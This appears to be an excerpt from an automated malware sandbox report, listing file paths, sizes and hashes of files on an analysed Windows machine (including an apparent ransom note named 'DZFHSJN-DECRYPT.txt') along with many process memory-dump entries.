9cde38b7e3a4b4098ccc2c8b4ebfe4f48d453760cf0032019da90c5dafb287a9650c01f5b1ee85663312f2f7d131d12083878dcc230dbed4ce415241acbf416c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\5vinb3pw.default-release\sessionstore-backups\recovery.baklz4

Filesize
2KB

MD5
7fd97ed6511f71ea352a90a136b86e40

SHA1
5ba254c76a43f9ed2325b8382f46ab8ed0bdfdac

SHA256
950208ac97486b25c376ad1f1a269c2d8beeff406619f6c6fdad8091aac13e2d

SHA512
ee1c086182780aed55aefa87a16d4e777723a6e052bef4da562d511bfae8f142bbdb30e10a6ba1c05f548e61eb1c0685a5e08d8f26f5280c47f79c0a12212c49

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\5vinb3pw.default-release\sessionstore-backups\recovery.baklz4

Filesize
3KB

MD5
fb7aa350825abfaf61435d96810f133d

SHA1
044a6d0076935685edf461713d0feb1cb04046ce

SHA256
019ec67f39497a600b9b2c6f0bd25fd259cdc169661e85b768e26572235af680

SHA512
c51456e9e4cd1f9f1f1edb2cfe7f7a085987126987d8e1bf9cb1a10ab56cbc20f3d1374c97722bc8ce8d4540be0388bfdc490e6c5f262e2bfd21d09ae9f3b9c8

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\5vinb3pw.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
368KB

MD5
0481f4840f6f16ecc538e077e172d448

SHA1
fa05d4b6f8470eefb676a09f9b3a5edcc56f0f15

SHA256
bf0a91593fd0524d121037981ab51a011fae641037fcc8a2815d0b66cc9e29cd

SHA512
2181685d0d7b258cd22d64e81ebc8ab5657e6898fda370d0c079bb7d041d760a4698f27eab9dba1d985db42d16f73dbfbbd78c52bc50462ad9d9053f7e30b73f

Download Submit
C:\Users\Admin\Desktop\DenySkip.shtml

Filesize
240KB

MD5
d7cbcf8199c4a1897920c4a1c43f681e

SHA1
04e5d217463ada0a9b6f3ee652133ebdb1ea4648

SHA256
b1a1748278dcc05e65b0dc4ae4735be3465c8becc3e6ba88bfee74399482066f

SHA512
a137cdd8ef609030f7c77dc84a3a2351ef589307921f38a72faa6c478e0f10d47a9ce2d57b1a57a78233c7db91011928b0e3050649f013069afc8ff37881311e

Download Submit
F:\$RECYCLE.BIN\S-1-5-21-3761892313-3378554128-2287991803-1000\DZFHSJN-DECRYPT.txt

Filesize
8KB

MD5
7d4a22b8014f7470b76b80079178e76a

SHA1
ef346c8f6347b85c3cadb2c0dcf95dae747a0236

SHA256
94d424609be4c7bdb130346beeefaa5e1313c9e2ff94a26aeddc3d81c4b54767

SHA512
d47cacdc43462def5c0e81c16025e1b99f0c18bc8a67b0d0a57cfd77d5c756f752d6ba2f4f20b40ad4f94090111c651a953691c4f2717f8daf0e6245e3587949

Download Submit
memory/484-1168-0x00000000006B0000-0x00000000006DA000-memory.dmp

Filesize
168KB

Download
memory/484-1169-0x00000000006B0000-0x00000000006DA000-memory.dmp

Filesize
168KB

Download
memory/1468-1276-0x0000000005280000-0x00000000058AA000-memory.dmp

Filesize
6.2MB

Download
memory/1468-1273-0x0000000004C00000-0x0000000004C36000-memory.dmp

Filesize
216KB

Download
memory/1736-1250-0x0000000005920000-0x00000000059BC000-memory.dmp

Filesize
624KB

Download
memory/1736-1263-0x0000000005C50000-0x0000000005CA6000-memory.dmp

Filesize
344KB

Download
memory/1736-1262-0x0000000005A10000-0x0000000005A1A000-memory.dmp

Filesize
40KB

Download
memory/1736-1259-0x0000000005A60000-0x0000000005AF2000-memory.dmp

Filesize
584KB

Download
memory/1736-1252-0x0000000005F70000-0x0000000006516000-memory.dmp

Filesize
5.6MB

Download
memory/1736-1249-0x0000000000DE0000-0x0000000000FF4000-memory.dmp

Filesize
2.1MB

Download
memory/2136-574-0x000001A28B000000-0x000001A28B100000-memory.dmp

Filesize
1024KB

Download
memory/2136-573-0x000001A28B000000-0x000001A28B100000-memory.dmp

Filesize
1024KB

Download
memory/2780-1312-0x000000001B7E0000-0x000000001B964000-memory.dmp

Filesize
1.5MB

Download
memory/2780-1220-0x0000000001080000-0x0000000001086000-memory.dmp

Filesize
24KB

Download
memory/2780-1423-0x00000000010E0000-0x00000000010EE000-memory.dmp

Filesize
56KB

Download
memory/2780-1319-0x0000000001090000-0x0000000001096000-memory.dmp

Filesize
24KB

Download
memory/2780-1427-0x0000000001120000-0x000000000112C000-memory.dmp

Filesize
48KB

Download
memory/2780-1208-0x00000000007A0000-0x000000000087C000-memory.dmp

Filesize
880KB

Download
memory/2780-1425-0x00000000010F0000-0x00000000010FE000-memory.dmp

Filesize
56KB

Download
memory/3244-1286-0x0000000000400000-0x000000000046A000-memory.dmp

Filesize
424KB

Download
memory/3784-665-0x000001E238510000-0x000001E238610000-memory.dmp

Filesize
1024KB

Download
memory/3784-704-0x000001E238490000-0x000001E2384B0000-memory.dmp

Filesize
128KB

Download
memory/3784-791-0x000001E23C300000-0x000001E23C400000-memory.dmp

Filesize
1024KB

Download
memory/3784-705-0x000001E2394E0000-0x000001E239500000-memory.dmp

Filesize
128KB

Download
memory/3784-699-0x000001E237730000-0x000001E237750000-memory.dmp

Filesize
128KB

Download
memory/3784-644-0x000001E226C00000-0x000001E226D00000-memory.dmp

Filesize
1024KB

Download
memory/5332-1275-0x0000000000400000-0x0000000000402000-memory.dmp

Filesize
8KB

Download
memory/5360-2868-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5360-1473-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5360-1192-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5360-1807-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5360-3087-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5360-1497-0x0000000000400000-0x000000000048A000-memory.dmp

Filesize
552KB

Download
memory/5716-1087-0x0000000000630000-0x0000000000706000-memory.dmp

Filesize
856KB

Download
memory/5732-1247-0x0000000000060000-0x0000000000080000-memory.dmp

Filesize
128KB

Download
memory/5768-1090-0x0000000000530000-0x0000000000562000-memory.dmp

Filesize
200KB

Download
memory/5768-1411-0x0000000004EA0000-0x0000000004F06000-memory.dmp

Filesize
408KB

Download
memory/5772-1230-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/6000-1119-0x0000000000CB0000-0x0000000000FE2000-memory.dmp

Filesize
3.2MB

Download
memory/6000-1361-0x000000001C170000-0x000000001C180000-memory.dmp

Filesize
64KB

Download
memory/6000-1323-0x000000001BCD0000-0x000000001BCEC000-memory.dmp

Filesize
112KB

Download
memory/6000-1321-0x0000000001940000-0x000000000194E000-memory.dmp

Filesize
56KB

Download
memory/6000-1355-0x000000001C210000-0x000000001C222000-memory.dmp

Filesize
72KB

Download
memory/6000-1325-0x000000001C180000-0x000000001C1D0000-memory.dmp

Filesize
320KB

Download
memory/6000-1375-0x000000001C270000-0x000000001C288000-memory.dmp

Filesize
96KB

Download
memory/6000-1373-0x000000001C240000-0x000000001C24E000-memory.dmp

Filesize
56KB

Download
memory/6000-1371-0x000000001C230000-0x000000001C240000-memory.dmp

Filesize
64KB

Download
memory/6000-1369-0x000000001C1E0000-0x000000001C1EE000-memory.dmp

Filesize
56KB

Download
memory/6000-1367-0x000000001C290000-0x000000001C2EA000-memory.dmp

Filesize
360KB

Download
memory/6000-1363-0x000000001C1D0000-0x000000001C1E0000-memory.dmp

Filesize
64KB

Download
memory/6000-1327-0x0000000003290000-0x00000000032A0000-memory.dmp

Filesize
64KB

Download
memory/6000-1357-0x000000001C760000-0x000000001CC88000-memory.dmp

Filesize
5.2MB

Download
memory/6000-1332-0x000000001BCF0000-0x000000001BD08000-memory.dmp

Filesize
96KB

Download
memory/6000-1334-0x00000000032A0000-0x00000000032B0000-memory.dmp

Filesize
64KB

Download
memory/6000-1351-0x000000001C130000-0x000000001C140000-memory.dmp

Filesize
64KB

Download
memory/6000-1345-0x00000000032B0000-0x00000000032C0000-memory.dmp

Filesize
64KB

Download
memory/6000-1359-0x000000001C140000-0x000000001C14E000-memory.dmp

Filesize
56KB

Download
memory/6000-1347-0x000000001BD10000-0x000000001BD1E000-memory.dmp

Filesize
56KB

Download
memory/6000-1349-0x000000001C150000-0x000000001C162000-memory.dmp

Filesize
72KB

Download
memory/6000-1288-0x000000001BCA0000-0x000000001BCC6000-memory.dmp

Filesize
152KB

Download
memory/6000-1353-0x000000001C1F0000-0x000000001C206000-memory.dmp

Filesize
88KB

Download
memory/6000-1382-0x000000001C250000-0x000000001C25C000-memory.dmp

Filesize
48KB

Download
memory/6140-1163-0x0000000000D50000-0x0000000000E26000-memory.dmp

Filesize
856KB

Download
memory/6280-1410-0x0000000000660000-0x00000000006FA000-memory.dmp

Filesize
616KB

Download
memory/6280-1442-0x0000000008B20000-0x0000000008B38000-memory.dmp

Filesize
96KB

Download
memory/6520-1416-0x0000000000ED0000-0x0000000000EDE000-memory.dmp

Filesize
56KB

Download
memory/6784-2764-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/6784-1547-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/6784-2893-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/6784-3106-0x0000000000400000-0x0000000000428000-memory.dmp

Filesize
160KB

Download
memory/7840-1759-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1761-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1757-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1756-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1755-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1763-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1754-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/7840-1753-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/9160-2931-0x00000214354A0000-0x00000214354C2000-memory.dmp

Filesize
136KB

Download